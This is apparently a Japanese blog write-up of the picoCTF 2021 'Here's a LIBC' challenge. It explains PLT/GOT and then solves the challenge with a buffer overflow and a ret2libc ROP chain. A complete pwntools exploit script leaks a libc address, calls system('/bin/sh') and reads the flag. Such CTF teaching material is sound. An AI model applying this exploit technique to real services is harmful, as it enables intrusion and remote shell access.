Logo

picoCTF 2021 Here's a LIBC write up

今回 PLT, GOT の勉強になった picoCTF の Here's a LIBC を解説。

Last Modified: 2025/08/31



今回は PLT, GOT について知る問題を解いたのでその記録。 恥ずかしながら PLT, GOT についてあまりわかってなかったのでその説明もする。

Procedure Linkage Table (PLT), Global Offset Table (GOT)

共有ライブラリ内の関数のアドレスを解決する際に使うキャッシュのようなもの。 プログラムが実行される際、共有ライブラリがメモリにロードされるが、使用する関数のアドレスは未解決のままスタートする。 コンパイルされる際、共有ライブラリの関数は以下のように name@plt としてコンパイルされる。

   0x000000000040088e <+285>:   mov    rdi,rax
   0x0000000000400891 <+288>:   call   0x400540 <puts@plt>
   0x0000000000400896 <+293>:   mov    eax,0x0

最初にこの関数を実行した際、キャッシュ(つまり GOT エントリ) がないので、動的リンカ (ld.so) で関数のアドレスを解決し、GOT エントリに保存します。

以降はこの関数を実行した際、GOT エントリに保存されたアドレスを呼び出す。これにより、毎回共有ライブラリのアドレスを解決せずに済む。

このように関数のアドレスを GOT エントリに配置するのをリロケーションというらしい

puts@plt のアセンブリを見てみると puts@got.plt にジャンプしているのがわかる。これはその名の通り GOT エントリ。

pwndbg> disas puts
Dump of assembler code for function puts@plt:
   0x0000000000400540 <+0>:     jmp    QWORD PTR [rip+0x200ad2]        # 0x601018 <puts@got.plt>
   0x0000000000400546 <+6>:     push   0x0
   0x000000000040054b <+11>:    jmp    0x400530

ただ、初回は puts@plt に帰ってくることがわかる。

pwndbg> x/a 0x601018
0x601018 <puts@got.plt>:        0x400546 <puts@plt+6>

また、readelf コマンドで GOT と PLT セクションの内容が確認できる。(-r は relocation section の意味)

$ readelf -r vuln

Relocation section '.rela.dyn' at offset 0x458 contains 3 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000600ff0  000400000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000600ff8  000500000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ +
0
000000601050  000800000005 R_X86_64_COPY     0000000000601050 stdout@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x4a0 contains 5 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000601018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5
+ 0
000000601020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 setresgid@GLIBC_2.2.5 + 0
000000601028  000300000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0
000000601030  000600000007 R_X86_64_JUMP_SLO 0000000000000000 getegid@GLIBC_2.2.5 + 0
000000601038  000700000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0

plt セクションには使用する関数があるけど GOT セクションにはまだないことがわかる。

CTF においては GOT エントリに実行したいコードのアドレスを上書きすれば任意のコードを実行できる。 これを俗に GOT overwrite という。

Here’s a LIBC write up

プログラムと libc が与えられる。 手元の環境だとうまく動かなかったので pwninit で実行可能にした。

実行するとこんな感じで大文字と小文字に変換するプログラム。

> ./vuln_patched
WeLcOmE To mY EcHo sErVeR!
aaaaaaaaaaaa
AaAaAaAaAaAa

Ghidra で逆コンパイルすると do_stuff 関数で入力と変換を行っている

do_stuff 関数にブレークポイントをおいて pwndbg を実行するとバッファオーバーフロー脆弱性があり、リターンアドレスを書き換えるまでのオフセットは 136 であることがわかる。

pwndbg> b *do_stuff+150
Breakpoint 1 at 0x40076e
pwndbg> cyclic 150
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa
pwndbg> r
────────────────────────────────[ BACKTRACE ]─────────────────────────────────
 ► 0         0x40076e do_stuff+150
   1 0x6161616161616172 None
   2 0x2000616161616173 None
   3 0x634520596d206f54 None
   4 0x6556724573206f48 None
   5           0x2152 None
   6   0x7fffffffdd58 None
   7      0x100000000 None
──────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l raaaaaaa
Finding cyclic pattern of 8 bytes: b'raaaaaaa' (hex: 0x7261616161616161)
Found at offset 136

リターンアドレスを書き換えてsystem(“/bin/sh”)を実行することを目的とする。

ただ system のアドレスが分からない状態なので、共有ライブラリ内の任意の関数のアドレスがわかれば、libc が与えられているので相対的に system 関数のアドレスがわかる。

そこで puts 関数で puts の GOT エントリを出力し、メモリ内にある共有ライブラリの puts のアドレスを出力する。 puts の実行は ROP chain を使う。

payload は pwntools を使えば以下のように作れる。

    payload  = b'A'*136
    payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
    payload += p64(exe.got['puts'])
    payload += p64(exe.plt['puts'])
    payload += p64(exe.symbols['main'])

また、出力結果を r.recvline() で取得しようとするとなぜか 0x00 しかえられなかった。 調べたところ、アドレスのバイト列の中に改行を表すバイトがあってうまく取得てきていなかった。 アドレスは 6 バイトなので 6 バイトだけ取得するように変更する。

    r.sendline(payload)
    r.recvline()

    offset  = libc.symbols['puts']

    put_addr = int.from_bytes(r.recv(6) + b'\x00\x00', byteorder="little")
    print("puts: ", hex(put_addr))

すると、ちゃんと puts 関数のアドレスが得られた。

[*] Loaded 14 cached gadgets for 'vuln_patched'
puts:  0x7efc2b280a30

このアドレスから与えられた libc を使って system 関数のアドレスを求める。 なお、pwntools では libc のベースアドレスを入力すれば system 関数のアドレスを簡単に出してくれる。

    libc.address = put_addr - offset
    print("system: ", hex(libc.symbols.system))
[+] n_patched': pid 160929
[*] Loaded 14 cached gadgets for 'vuln_patched'
puts:  0x7f5e70c80a30
system:  0x7f5e70c4f4e0

あとは “/bin/sh” を引数に system 関数を呼び出すだけ。ここでも ROP chain を使う。

    payload = b'A'*136
    payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
    payload += p64(next(libc.search(b'/bin/sh')))
    payload += p64(rop.find_gadget(['ret'])[0])
    payload += p64(libc.symbols.system)

    r.sendline(payload)
    r.interactive()

なお、途中の ret は RSP のアライメントのために使用されるらしい。

最終的な exploit コードは以下の通り。

#!/usr/bin/env python3

from sys import byteorder

from pwn import *

exe = ELF("vuln_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("mercury.picoctf.net", 1774)

    return r


def main():
    r = conn()

    rop = ROP(exe)
    offset  = libc.symbols['puts']
    r.recvuntil(b'WeLcOmE To mY EcHo sErVeR!\n')

    payload  = b'A'*136
    payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
    payload += p64(exe.got['puts'])
    payload += p64(exe.plt['puts'])
    payload += p64(exe.symbols['main'])
    r.sendline(payload)
    r.recvline()

    offset  = libc.symbols['puts']

    put_addr = int.from_bytes(r.recv(6) + b'\x00\x00', byteorder="little")
    print("puts: ", hex(put_addr))
    libc.address = put_addr - offset
    print("system: ", hex(libc.symbols.system))

    payload = b'A'*136
    payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
    payload += p64(next(libc.search(b'/bin/sh')))
    payload += p64(rop.find_gadget(['ret'])[0])
    payload += p64(libc.symbols.system)

    r.sendline(payload)
    r.interactive()

if __name__ == "__main__":
    main()

実行すると以下のようにシェルが奪取できる。

[*] Switching to interactive mode

WeLcOmE To mY EcHo sErVeR!
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaA
aAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd$
$ ls
flag.txt
libc.so.6
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
picoCTF{1_<3_sm4sh_st4cking_f2ac531bbb3a68ed}$